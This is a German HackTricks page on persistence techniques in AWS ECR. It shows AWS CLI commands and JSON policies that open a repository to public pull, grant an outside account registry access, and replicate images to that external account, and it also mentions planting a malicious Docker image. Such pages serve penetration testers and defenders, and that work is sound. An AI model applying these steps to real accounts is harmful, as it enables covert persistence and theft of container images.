AWS - ECR Persistence

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

ECR

Für weitere Informationen siehe:

pageAWS - ECR Enum

Verstecktes Docker-Image mit bösartigem Code

Ein Angreifer könnte ein Docker-Image mit bösartigem Code hochladen und es in einem ECR-Repository verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste im Konto bereitstellen, wie z. B. Amazon ECS oder EKS, auf unauffällige Weise.

Repository-Richtlinie

Fügen Sie eine Richtlinie zu einem einzelnen Repository hinzu, die Ihnen (oder allen) Zugriff auf ein Repository gewährt:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Bitte beachten Sie, dass ECR erfordert, dass Benutzer die Berechtigung haben, Anrufe an die ecr:GetAuthorizationToken API über eine IAM-Richtlinie zu tätigen, bevor sie sich an einem Register authentifizieren und Bilder aus einem beliebigen Amazon ECR-Repository hochladen oder herunterladen können.

Register-Richtlinie & Replikation zwischen Konten

Es ist möglich, ein Register automatisch in einem externen Konto zu replizieren, indem Sie die Replikation zwischen Konten konfigurieren, wobei Sie das externe Konto angeben müssen, in dem Sie das Register replizieren möchten.

Zuerst müssen Sie dem externen Konto Zugriff auf das Register mit einer Register-Richtlinie wie folgt geben:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Dann wenden Sie die Replikationskonfiguration an:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated